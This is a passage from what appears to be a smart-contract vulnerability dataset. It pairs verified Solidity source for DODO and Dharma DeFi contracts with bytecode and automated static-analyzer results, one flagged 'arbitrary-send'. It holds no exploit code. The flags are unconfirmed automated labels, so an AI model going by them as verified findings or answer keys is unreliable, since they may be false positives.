ffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122074cac66f7a67f95c1231a8b23f919b1c403ec3c58068761f177ec82d0cc7282564736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 6,215 |
0x471e1A083D76C4FC9e088FD259F64Eff0A37DAbD
|
/**
*Submitted for verification at Etherscan.io on 2021-04-28
*/
// File: contracts/intf/IDODOApprove.sol
/*
Copyright 2020 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
interface IDODOApprove {
function claimTokens(address token,address who,address dest,uint256 amount) external;
function getDODOProxy() external view returns (address);
}
// File: contracts/lib/InitializableOwnable.sol
/**
* @title Ownable
* @author DODO Breeder
*
* @notice Ownership related functions
*/
contract InitializableOwnable {
address public _OWNER_;
address public _NEW_OWNER_;
bool internal _INITIALIZED_;
// ============ Events ============
event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ============ Modifiers ============
modifier notInitialized() {
require(!_INITIALIZED_, "DODO_INITIALIZED");
_;
}
modifier onlyOwner() {
require(msg.sender == _OWNER_, "NOT_OWNER");
_;
}
// ============ Functions ============
function initOwner(address newOwner) public notInitialized {
_INITIALIZED_ = true;
_OWNER_ = newOwner;
}
function transferOwnership(address newOwner) public onlyOwner {
emit OwnershipTransferPrepared(_OWNER_, newOwner);
_NEW_OWNER_ = newOwner;
}
function claimOwnership() public {
require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM");
emit OwnershipTransferred(_OWNER_, _NEW_OWNER_);
_OWNER_ = _NEW_OWNER_;
_NEW_OWNER_ = address(0);
}
}
// File: contracts/SmartRoute/DODOApproveProxy.sol
interface IDODOApproveProxy {
function isAllowedProxy(address _proxy) external view returns (bool);
function claimTokens(address token,address who,address dest,uint256 amount) external;
}
/**
* @title DODOApproveProxy
* @author DODO Breeder
*
* @notice Allow different version dodoproxy to claim from DODOApprove
*/
contract DODOApproveProxy is InitializableOwnable {
// ============ Storage ============
uint256 private constant _TIMELOCK_DURATION_ = 3 days;
mapping (address => bool) public _IS_ALLOWED_PROXY_;
uint256 public _TIMELOCK_;
address public _PENDING_ADD_DODO_PROXY_;
address public immutable _DODO_APPROVE_;
// ============ Modifiers ============
modifier notLocked() {
require(
_TIMELOCK_ <= block.timestamp,
"SetProxy is timelocked"
);
_;
}
constructor(address dodoApporve) public {
_DODO_APPROVE_ = dodoApporve;
}
function init(address owner, address[] memory proxies) external {
initOwner(owner);
for(uint i = 0; i < proxies.length; i++)
_IS_ALLOWED_PROXY_[proxies[i]] = true;
}
function unlockAddProxy(address newDodoProxy) public onlyOwner {
_TIMELOCK_ = block.timestamp + _TIMELOCK_DURATION_;
_PENDING_ADD_DODO_PROXY_ = newDodoProxy;
}
function lockAddProxy() public onlyOwner {
_PENDING_ADD_DODO_PROXY_ = address(0);
_TIMELOCK_ = 0;
}
function addDODOProxy() external onlyOwner notLocked() {
_IS_ALLOWED_PROXY_[_PENDING_ADD_DODO_PROXY_] = true;
lockAddProxy();
}
function removeDODOProxy (address oldDodoProxy) public onlyOwner {
_IS_ALLOWED_PROXY_[oldDodoProxy] = false;
}
function claimTokens(
address token,
address who,
address dest,
uint256 amount
) external {
require(_IS_ALLOWED_PROXY_[msg.sender], "DODOApproveProxy:Access restricted");
IDODOApprove(_DODO_APPROVE_).claimTokens(
token,
who,
dest,
amount
);
}
function isAllowedProxy(address _proxy) external view returns (bool) {
return _IS_ALLOWED_PROXY_[_proxy];
}
}
// File: contracts/SmartRoute/intf/IDODOV2.sol
interface IDODOV2 {
//========== Common ==================
function sellBase(address to) external returns (uint256 receiveQuoteAmount);
function sellQuote(address to) external returns (uint256 receiveBaseAmount);
function getVaultReserve() external view returns (uint256 baseReserve, uint256 quoteReserve);
function _BASE_TOKEN_() external view returns (address);
function _QUOTE_TOKEN_() external view returns (address);
function getPMMStateForCall() external view returns (
uint256 i,
uint256 K,
uint256 B,
uint256 Q,
uint256 B0,
uint256 Q0,
uint256 R
);
function getUserFeeRate(address user) external view returns (uint256 lpFeeRate, uint256 mtFeeRate);
function getDODOPoolBidirection(address token0, address token1) external view returns (address[] memory, address[] memory);
//========== DODOVendingMachine ========
function createDODOVendingMachine(
address baseToken,
address quoteToken,
uint256 lpFeeRate,
uint256 i,
uint256 k,
bool isOpenTWAP
) external returns (address newVendingMachine);
function buyShares(address to) external returns (uint256,uint256,uint256);
//========== DODOPrivatePool ===========
function createDODOPrivatePool() external returns (address newPrivatePool);
function initDODOPrivatePool(
address dppAddress,
address creator,
address baseToken,
address quoteToken,
uint256 lpFeeRate,
uint256 k,
uint256 i,
bool isOpenTwap
) external;
function reset(
address operator,
uint256 newLpFeeRate,
uint256 newI,
uint256 newK,
uint256 baseOutAmount,
uint256 quoteOutAmount,
uint256 minBaseReserve,
uint256 minQuoteReserve
) external returns (bool);
function _OWNER_() external returns (address);
//========== CrowdPooling ===========
function createCrowdPooling() external returns (address payable newCrowdPooling);
function initCrowdPooling(
address cpAddress,
address creator,
address baseToken,
address quoteToken,
uint256[] memory timeLine,
uint256[] memory valueList,
bool isOpenTWAP
) external;
function bid(address to) external;
}
// File: contracts/intf/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// File: contracts/lib/SafeMath.sol
/**
* @title SafeMath
* @author DODO Breeder
*
* @notice Math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/lib/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/intf/IWETH.sol
interface IWETH {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address src,
address dst,
uint256 wad
) external returns (bool);
function deposit() external payable;
function withdraw(uint256 wad) external;
}
// File: contracts/lib/ReentrancyGuard.sol
/**
* @title ReentrancyGuard
* @author DODO Breeder
*
* @notice Protect functions from Reentrancy Attack
*/
contract ReentrancyGuard {
// https://solidity.readthedocs.io/en/latest/control-structures.html?highlight=zero-state#scoping-and-declarations
// zero-state of _ENTERED_ is false
bool private _ENTERED_;
modifier preventReentrant() {
require(!_ENTERED_, "REENTRANT");
_ENTERED_ = true;
_;
_ENTERED_ = false;
}
}
// File: contracts/SmartRoute/proxies/DODOCpProxy.sol
/**
* @title DODOCpProxy
* @author DODO Breeder
*
* @notice CrowdPooling Proxy
*/
contract DODOCpProxy is ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// ============ Storage ============
address constant _ETH_ADDRESS_ = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public immutable _WETH_;
address public immutable _DODO_APPROVE_PROXY_;
address public immutable _CP_FACTORY_;
// ============ Modifiers ============
modifier judgeExpired(uint256 deadLine) {
require(deadLine >= block.timestamp, "DODOCpProxy: EXPIRED");
_;
}
fallback() external payable {}
receive() external payable {}
constructor(
address payable weth,
address cpFactory,
address dodoApproveProxy
) public {
_WETH_ = weth;
_CP_FACTORY_ = cpFactory;
_DODO_APPROVE_PROXY_ = dodoApproveProxy;
}
//============ CrowdPooling Functions (create) ============
function createCrowdPooling(
address baseToken,
address quoteToken,
uint256 baseInAmount,
uint256[] memory timeLine,
uint256[] memory valueList,
bool isOpenTWAP,
uint256 deadLine
) external payable preventReentrant judgeExpired(deadLine) returns (address payable newCrowdPooling) {
address _baseToken = baseToken;
address _quoteToken = quoteToken == _ETH_ADDRESS_ ? _WETH_ : quoteToken;
newCrowdPooling = IDODOV2(_CP_FACTORY_).createCrowdPooling();
_deposit(
msg.sender,
newCrowdPooling,
_baseToken,
baseInAmount,
false
);
(bool success, ) = newCrowdPooling.call{value: msg.value}("");
require(success, "DODOCpProxy: Transfer failed");
IDODOV2(_CP_FACTORY_).initCrowdPooling(
newCrowdPooling,
msg.sender,
_baseToken,
_quoteToken,
timeLine,
valueList,
isOpenTWAP
);
}
//====================== internal =======================
function _deposit(
address from,
address to,
address token,
uint256 amount,
bool isETH
) internal {
if (isETH) {
if (amount > 0) {
IWETH(_WETH_).deposit{value: amount}();
if (to != address(this)) SafeERC20.safeTransfer(IERC20(_WETH_), to, amount);
}
} else {
IDODOApproveProxy(_DODO_APPROVE_PROXY_).claimTokens(token, from, to, amount);
}
}
}
|
0x6080604052600436106100435760003560e01c8063018c9fda1461004c5780630d4eec8f146101b6578063eb99be12146101cb578063faa980e4146101e05761004a565b3661004a57005b005b61019a600480360360e081101561006257600080fd5b6001600160a01b0382358116926020810135909116916040820135919081019060808101606082013564010000000081111561009d57600080fd5b8201836020820111156100af57600080fd5b803590602001918460208302840111640100000000831117156100d157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561012157600080fd5b82018360208201111561013357600080fd5b8035906020019184602083028401116401000000008311171561015557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550505050803515159150602001356101f5565b604080516001600160a01b039092168252519081900360200190f35b3480156101c257600080fd5b5061019a6105b2565b3480156101d757600080fd5b5061019a6105d6565b3480156101ec57600080fd5b5061019a6105fa565b6000805460ff161561023a576040805162461bcd60e51b815260206004820152600960248201526814915153951490539560ba1b604482015290519081900360640190fd5b6000805460ff191660011790558142811015610294576040805162461bcd60e51b81526020600482015260146024820152731113d113d0dc141c9bde1e4e881156141254915160621b604482015290519081900360640190fd5b8860006001600160a01b038a1673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee146102c157896102e3565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc25b90507f000000000000000000000000e8c9a78725d0451fa19878d5f8a3dc0d55fecf256001600160a01b03166389edcf146040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561034057600080fd5b505af1158015610354573d6000803e3d6000fd5b505050506040513d602081101561036a57600080fd5b5051935061037c3385848c600061061e565b6040516000906001600160a01b0386169034908381818185875af1925050503d80600081146103c7576040519150601f19603f3d011682016040523d82523d6000602084013e6103cc565b606091505b5050905080610422576040805162461bcd60e51b815260206004820152601c60248201527f444f444f437050726f78793a205472616e73666572206661696c656400000000604482015290519081900360640190fd5b7f000000000000000000000000e8c9a78725d0451fa19878d5f8a3dc0d55fecf256001600160a01b031663ecfc2db0863386868e8e8e6040518863ffffffff1660e01b815260040180886001600160a01b03166001600160a01b03168152602001876001600160a01b03166001600160a01b03168152602001866001600160a01b03166001600160a01b03168152602001856001600160a01b03166001600160a01b03168152602001806020018060200184151515158152602001838103835286818151815260200191508051906020019060200280838360005b838110156105155781810151838201526020016104fd565b50505050905001838103825285818151815260200191508051906020019060200280838360005b8381101561055457818101518382015260200161053c565b505050509050019950505050505050505050600060405180830381600087803b15801561058057600080fd5b505af1158015610594573d6000803e3d6000fd5b50506000805460ff1916905550949c9b505050505050505050505050565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b7f000000000000000000000000335ac99bb3e51bdbf22025f092ebc1cf2c5cc61981565b7f000000000000000000000000e8c9a78725d0451fa19878d5f8a3dc0d55fecf2581565b80156106df5781156106da577f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663d0e30db0836040518263ffffffff1660e01b81526004016000604051808303818588803b15801561068557600080fd5b505af1158015610699573d6000803e3d6000fd5b505050506001600160a01b038516301490506106da576106da7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28584610782565b61077b565b6040805163052f523360e11b81526001600160a01b038581166004830152878116602483015286811660448301526064820185905291517f000000000000000000000000335ac99bb3e51bdbf22025f092ebc1cf2c5cc61990921691630a5ea4669160848082019260009290919082900301818387803b15801561076257600080fd5b505af1158015610776573d6000803e3d6000fd5b505050505b5050505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526107d49084906107d9565b505050565b60006060836001600160a01b0316836040518082805190602001908083835b602083106108175780518252601f1990920191602091820191016107f8565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610879576040519150601f19603f3d011682016040523d82523d6000602084013e61087e565b606091505b5091509150816108d5576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b80511561092e578080602001905160208110156108f157600080fd5b505161092e5760405162461bcd60e51b815260040180806020018281038252602a815260200180610935602a913960400191505060405180910390fd5b5050505056fe5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a26469706673582212202849761887aba5922bf079eb48e2da456ec5963750ada869fc9593c86157a6b764736f6c63430006090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,216 |
0x57743f903a55bebb2b9e550e129cbd20de08a064
|
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
interface TradeBotCommanderV2Interface {
// events
event AddedAccount(address account);
event RemovedAccount(address account);
event Call(address target, uint256 amount, bytes data, bool ok, bytes returnData);
// callable by accounts
function processLimitOrder(
DharmaTradeBotV1Interface.LimitOrderArguments calldata args,
DharmaTradeBotV1Interface.LimitOrderExecutionArguments calldata executionArgs
) external returns (bool ok, uint256 amountReceived);
function deployAndProcessLimitOrder(
address initialSigningKey, // the initial key on the keyring
address keyRing,
DharmaTradeBotV1Interface.LimitOrderArguments calldata args,
DharmaTradeBotV1Interface.LimitOrderExecutionArguments calldata executionArgs
) external returns (bool ok, bytes memory returnData);
// only callable by owner
function addAccount(address account) external;
function removeAccount(address account) external;
function callAny(
address payable target, uint256 amount, bytes calldata data
) external returns (bool ok, bytes memory returnData);
// view functions
function getAccounts() external view returns (address[] memory);
function getTradeBot() external view returns (address tradeBot);
}
interface DharmaTradeBotV1Interface {
struct LimitOrderArguments {
address account;
address assetToSupply; // Ether = address(0)
address assetToReceive; // Ether = address(0)
uint256 maximumAmountToSupply;
uint256 maximumPriceToAccept; // represented as a mantissa (n * 10^18)
uint256 expiration;
bytes32 salt;
}
struct LimitOrderExecutionArguments {
uint256 amountToSupply; // will be lower than maximum for partial fills
bytes signatures;
address tradeTarget;
bytes tradeData;
}
function processLimitOrder(
LimitOrderArguments calldata args,
LimitOrderExecutionArguments calldata executionArgs
) external returns (uint256 amountReceived);
}
interface DharmaSmartWalletFactoryV1Interface {
function newSmartWallet(
address userSigningKey
) external returns (address wallet);
function getNextSmartWallet(
address userSigningKey
) external view returns (address wallet);
}
interface DharmaKeyRingFactoryV2Interface {
function newKeyRing(
address userSigningKey, address targetKeyRing
) external returns (address keyRing);
function getNextKeyRing(
address userSigningKey
) external view returns (address targetKeyRing);
}
contract TwoStepOwnable {
address private _owner;
address private _newPotentialOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initialize contract by setting transaction submitter as initial owner.
*/
constructor() internal {
_owner = tx.origin;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "TwoStepOwnable: caller is not the owner.");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Allows a new account (`newOwner`) to accept ownership.
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(
newOwner != address(0),
"TwoStepOwnable: new potential owner is the zero address."
);
_newPotentialOwner = newOwner;
}
/**
* @dev Cancel a transfer of ownership to a new account.
* Can only be called by the current owner.
*/
function cancelOwnershipTransfer() public onlyOwner {
delete _newPotentialOwner;
}
/**
* @dev Transfers ownership of the contract to the caller.
* Can only be called by a new potential owner set by the current owner.
*/
function acceptOwnership() public {
require(
msg.sender == _newPotentialOwner,
"TwoStepOwnable: current owner must set caller as new potential owner."
);
delete _newPotentialOwner;
emit OwnershipTransferred(_owner, msg.sender);
_owner = msg.sender;
}
}
contract TradeBotCommanderV2 is TradeBotCommanderV2Interface, TwoStepOwnable {
// Track all authorized accounts.
address[] private _accounts;
// Indexes start at 1, as 0 signifies non-inclusion
mapping (address => uint256) private _accountIndexes;
DharmaTradeBotV1Interface private immutable _TRADE_BOT;
DharmaSmartWalletFactoryV1Interface private immutable _WALLET_FACTORY;
DharmaKeyRingFactoryV2Interface private immutable _KEYRING_FACTORY;
constructor(address walletFactory, address keyRingFactory, address tradeBot, address[] memory initialAccounts) public {
require(
walletFactory != address(0) &&
keyRingFactory != address(0) &&
tradeBot != address(0),
"Missing required constructor arguments."
);
_WALLET_FACTORY = DharmaSmartWalletFactoryV1Interface(walletFactory);
_KEYRING_FACTORY = DharmaKeyRingFactoryV2Interface(keyRingFactory);
_TRADE_BOT = DharmaTradeBotV1Interface(tradeBot);
for (uint256 i; i < initialAccounts.length; i++) {
address account = initialAccounts[i];
_addAccount(account);
}
}
function processLimitOrder(
DharmaTradeBotV1Interface.LimitOrderArguments calldata args,
DharmaTradeBotV1Interface.LimitOrderExecutionArguments calldata executionArgs
) external override returns (bool ok, uint256 amountReceived) {
require(
_accountIndexes[msg.sender] != 0,
"Only authorized accounts may trigger limit orders."
);
amountReceived = _TRADE_BOT.processLimitOrder(
args, executionArgs
);
ok = true;
}
// Deploy a key ring and a smart wallet, then process the limit order.
function deployAndProcessLimitOrder(
address initialSigningKey, // the initial key on the keyring
address keyRing,
DharmaTradeBotV1Interface.LimitOrderArguments calldata args,
DharmaTradeBotV1Interface.LimitOrderExecutionArguments calldata executionArgs
) external override returns (bool ok, bytes memory returnData) {
require(
_accountIndexes[msg.sender] != 0,
"Only authorized accounts may trigger limit orders."
);
_deployNewKeyRingIfNeeded(initialSigningKey, keyRing);
_deployNewSmartWalletIfNeeded(keyRing, args.account);
try _TRADE_BOT.processLimitOrder(args, executionArgs) returns (uint256 amountReceived) {
return (true, abi.encode(amountReceived));
} catch (bytes memory revertData) {
return (false, revertData);
}
}
function addAccount(address account) external override onlyOwner {
_addAccount(account);
}
function removeAccount(address account) external override onlyOwner {
_removeAccount(account);
}
function callAny(
address payable target, uint256 amount, bytes calldata data
) external override onlyOwner returns (bool ok, bytes memory returnData) {
// Call the specified target and supply the specified amount and data.
(ok, returnData) = target.call{value: amount}(data);
emit Call(target, amount, data, ok, returnData);
}
function getAccounts() external view override returns (address[] memory) {
return _accounts;
}
function getTradeBot() external view override returns (address tradeBot) {
return address(_TRADE_BOT);
}
function _deployNewKeyRingIfNeeded(
address initialSigningKey, address expectedKeyRing
) internal returns (address keyRing) {
// Only deploy if a contract doesn't already exist at expected address.
bytes32 size;
assembly { size := extcodesize(expectedKeyRing) }
if (size == 0) {
require(
_KEYRING_FACTORY.getNextKeyRing(initialSigningKey) == expectedKeyRing,
"Key ring to be deployed does not match expected key ring."
);
keyRing = _KEYRING_FACTORY.newKeyRing(initialSigningKey, expectedKeyRing);
} else {
// Note: the key ring at the expected address may have been modified so that
// the supplied user signing key is no longer a valid key - therefore, treat
// this helper as a way to protect against race conditions, not as a primary
// mechanism for interacting with key ring contracts.
keyRing = expectedKeyRing;
}
}
function _deployNewSmartWalletIfNeeded(
address userSigningKey, // the key ring
address expectedSmartWallet
) internal returns (address smartWallet) {
// Only deploy if a contract doesn't already exist at expected address.
bytes32 size;
assembly { size := extcodesize(expectedSmartWallet) }
if (size == 0) {
require(
_WALLET_FACTORY.getNextSmartWallet(userSigningKey) == expectedSmartWallet,
"Smart wallet to be deployed does not match expected smart wallet."
);
smartWallet = _WALLET_FACTORY.newSmartWallet(userSigningKey);
} else {
// Note: the smart wallet at the expected address may have been modified
// so that the supplied user signing key is no longer a valid key.
// Therefore, treat this helper as a way to protect against race
// conditions, not as a primary mechanism for interacting with smart
// wallet contracts.
smartWallet = expectedSmartWallet;
}
}
function _addAccount(address account) internal {
require(
_accountIndexes[account] == 0,
"Account matching the provided account already exists."
);
_accounts.push(account);
_accountIndexes[account] = _accounts.length;
emit AddedAccount(account);
}
function _removeAccount(address account) internal {
uint256 removedAccountIndex = _accountIndexes[account];
require(
removedAccountIndex != 0,
"No account found matching the provided account."
);
// swap account to remove with the last one then pop from the array.
address lastAccount = _accounts[_accounts.length - 1];
_accounts[removedAccountIndex - 1] = lastAccount;
_accountIndexes[lastAccount] = removedAccountIndex;
_accounts.pop();
